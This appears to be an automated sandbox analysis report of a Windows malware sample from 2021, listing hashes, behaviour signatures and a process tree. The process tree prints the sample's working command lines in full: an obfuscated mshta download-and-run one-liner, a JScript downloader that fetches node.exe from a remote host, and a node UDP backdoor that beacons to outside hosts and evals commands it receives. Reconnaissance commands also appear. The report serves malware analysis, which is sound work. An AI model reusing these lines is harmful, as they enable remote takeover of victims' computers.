Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7v20210408 -
submitted
19-06-2021 12:30
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210619-091549.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210619-091549.exe
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Size
2KB
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MD5
5c377a96ac9dd5bd2148e42d328fe237
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SHA1
c9b412f7a62d1142c2845ffb472041601952eb87
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SHA256
3a8ffe53dce3cc92dd54f8ee34c3f9a8db950c80b53ffb44f36b43123297bea0
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SHA512
550e85434db90f71975b91a9239e2f8db40cebad811e7d27ccd061402b85e3446dea4e6c127da94ab83911d7ac0afef19c0ebcbd77fac8ddb2c6161c8b684314
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 2 1496 mshta.exe 3 268 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 632 node.exe -
Loads dropped DLL 1 IoCs
pid Process 816 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1016 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1668 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1872 ipconfig.exe 940 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 240 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\ProgramData\DNTException\node.exe:cb4d253069916a9b9b1bee8d651f715d node.exe File created C:\Users\Admin\AppData\Local\Temp\5868aaa40d76b239:ads node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 632 node.exe 632 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1668 tasklist.exe Token: SeIncreaseQuotaPrivilege 1780 wmic.exe Token: SeSecurityPrivilege 1780 wmic.exe Token: SeTakeOwnershipPrivilege 1780 wmic.exe Token: SeLoadDriverPrivilege 1780 wmic.exe Token: SeSystemProfilePrivilege 1780 wmic.exe Token: SeSystemtimePrivilege 1780 wmic.exe Token: SeProfSingleProcessPrivilege 1780 wmic.exe Token: SeIncBasePriorityPrivilege 1780 wmic.exe Token: SeCreatePagefilePrivilege 1780 wmic.exe Token: SeBackupPrivilege 1780 wmic.exe Token: SeRestorePrivilege 1780 wmic.exe Token: SeShutdownPrivilege 1780 wmic.exe Token: SeDebugPrivilege 1780 wmic.exe Token: SeSystemEnvironmentPrivilege 1780 wmic.exe Token: SeRemoteShutdownPrivilege 1780 wmic.exe Token: SeUndockPrivilege 1780 wmic.exe Token: SeManageVolumePrivilege 1780 wmic.exe Token: 33 1780 wmic.exe Token: 34 1780 wmic.exe Token: 35 1780 wmic.exe Token: SeIncreaseQuotaPrivilege 1780 wmic.exe Token: SeSecurityPrivilege 1780 wmic.exe Token: SeTakeOwnershipPrivilege 1780 wmic.exe Token: SeLoadDriverPrivilege 1780 wmic.exe Token: SeSystemProfilePrivilege 1780 wmic.exe Token: SeSystemtimePrivilege 1780 wmic.exe Token: SeProfSingleProcessPrivilege 1780 wmic.exe Token: SeIncBasePriorityPrivilege 1780 wmic.exe Token: SeCreatePagefilePrivilege 1780 wmic.exe Token: SeBackupPrivilege 1780 wmic.exe Token: SeRestorePrivilege 1780 wmic.exe Token: SeShutdownPrivilege 1780 wmic.exe Token: SeDebugPrivilege 1780 wmic.exe Token: SeSystemEnvironmentPrivilege 1780 wmic.exe Token: SeRemoteShutdownPrivilege 1780 wmic.exe Token: SeUndockPrivilege 1780 wmic.exe Token: SeManageVolumePrivilege 1780 wmic.exe Token: 33 1780 wmic.exe Token: 34 1780 wmic.exe Token: 35 1780 wmic.exe Token: SeDebugPrivilege 940 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1684 wrote to memory of 1496 1684 usfive_20210619-091549.exe 25 PID 1684 wrote to memory of 1496 1684 usfive_20210619-091549.exe 25 PID 1684 wrote to memory of 1496 1684 usfive_20210619-091549.exe 25 PID 1684 wrote to memory of 1496 1684 usfive_20210619-091549.exe 25 PID 1496 wrote to memory of 1988 1496 mshta.exe 27 PID 1496 wrote to memory of 1988 1496 mshta.exe 27 PID 1496 wrote to memory of 1988 1496 mshta.exe 27 PID 1496 wrote to memory of 1988 1496 mshta.exe 27 PID 1988 wrote to memory of 268 1988 cmd.exe 29 PID 1988 wrote to memory of 268 1988 cmd.exe 29 PID 1988 wrote to memory of 268 1988 cmd.exe 29 PID 1988 wrote to memory of 268 1988 cmd.exe 29 PID 1988 wrote to memory of 1512 1988 cmd.exe 33 PID 1988 wrote to memory of 1512 1988 cmd.exe 33 PID 1988 wrote to memory of 1512 1988 cmd.exe 33 PID 1988 wrote to memory of 1512 1988 cmd.exe 33 PID 1988 wrote to memory of 816 1988 cmd.exe 34 PID 1988 wrote to memory of 816 1988 cmd.exe 34 PID 1988 wrote to memory of 816 1988 cmd.exe 34 PID 1988 wrote to memory of 816 1988 cmd.exe 34 PID 816 wrote to memory of 632 816 cscript.exe 35 PID 816 wrote to memory of 632 816 cscript.exe 35 PID 816 wrote to memory of 632 816 cscript.exe 35 PID 816 wrote to memory of 632 816 cscript.exe 35 PID 632 wrote to memory of 1268 632 node.exe 37 PID 632 wrote to memory of 1268 632 node.exe 37 PID 632 wrote to memory of 1268 632 node.exe 37 PID 632 wrote to memory of 1268 632 node.exe 37 PID 632 wrote to memory of 1376 632 node.exe 38 PID 632 wrote to memory of 1376 632 node.exe 38 PID 632 wrote to memory of 1376 632 node.exe 38 PID 632 wrote to memory of 1376 632 node.exe 38 PID 632 wrote to memory of 1016 632 node.exe 39 PID 632 wrote to memory of 1016 632 node.exe 39 PID 632 wrote to memory of 1016 632 node.exe 39 PID 632 wrote to memory of 1016 632 node.exe 39 PID 632 wrote to memory of 1800 632 node.exe 40 PID 632 wrote to memory of 1800 632 node.exe 40 PID 632 wrote to memory of 1800 632 node.exe 40 PID 632 wrote to memory of 1800 632 node.exe 40 PID 632 wrote to memory of 1148 632 node.exe 41 PID 632 wrote to memory of 1148 632 node.exe 41 PID 632 wrote to memory of 1148 632 node.exe 41 PID 632 wrote to memory of 1148 632 node.exe 41 PID 632 wrote to memory of 1668 632 node.exe 42 PID 632 wrote to memory of 1668 632 node.exe 42 PID 632 wrote to memory of 1668 632 node.exe 42 PID 632 wrote to memory of 1668 632 node.exe 42 PID 632 wrote to memory of 1780 632 node.exe 44 PID 632 wrote to memory of 1780 632 node.exe 44 PID 632 wrote to memory of 1780 632 node.exe 44 PID 632 wrote to memory of 1780 632 node.exe 44 PID 632 wrote to memory of 1872 632 node.exe 45 PID 632 wrote to memory of 1872 632 node.exe 45 PID 632 wrote to memory of 1872 632 node.exe 45 PID 632 wrote to memory of 1872 632 node.exe 45 PID 632 wrote to memory of 1512 632 node.exe 46 PID 632 wrote to memory of 1512 632 node.exe 46 PID 632 wrote to memory of 1512 632 node.exe 46 PID 632 wrote to memory of 1512 632 node.exe 46 PID 632 wrote to memory of 940 632 node.exe 47 PID 632 wrote to memory of 940 632 node.exe 47 PID 632 wrote to memory of 940 632 node.exe 47 PID 632 wrote to memory of 940 632 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1800 attrib.exe 1148 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210619-091549.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210619-091549.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();240;y=unescape('%361%7Eh%74t%70%3A%2F%2F%68r%692%2Ex%79z%2Fh%72i%2F%3F%321%616%654%62%7E%318%33').split('~');69;try{x='WinHttp';10;x=new ActiveXObject(x+'.'+x+'Request.5.1');117;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);42;x.send();184;y='ipt.S';122;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);19;}catch(e){};242;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1624105873306.txt & cscript /nologo /e:jscript get1624105873306.txt "http%3A%2F%2Fhri2.xyz%2Fhri%2F%3F2e50d532e%26b%3D38fb4b72" node.cab & expand node.cab node.exe & del get1624105873306.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1624105873306.txt & cscript /nologo /e:jscript get1624105873306.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e50d532e%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu01.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1624105873306.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1624105873306.txt "http%3A%2F%2Fhri2.xyz%2Fhri%2F%3F2e50d532e%26b%3D38fb4b72" node.cab4⤵
- Blocklisted process makes network request
PID:268
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:1512
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1624105873306.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e50d532e%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu01.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:816 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e50d532e%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu01.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:632 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1268
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1376
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1016
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1800
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1148
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1668
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1780
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1872
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1512
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:940
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:240
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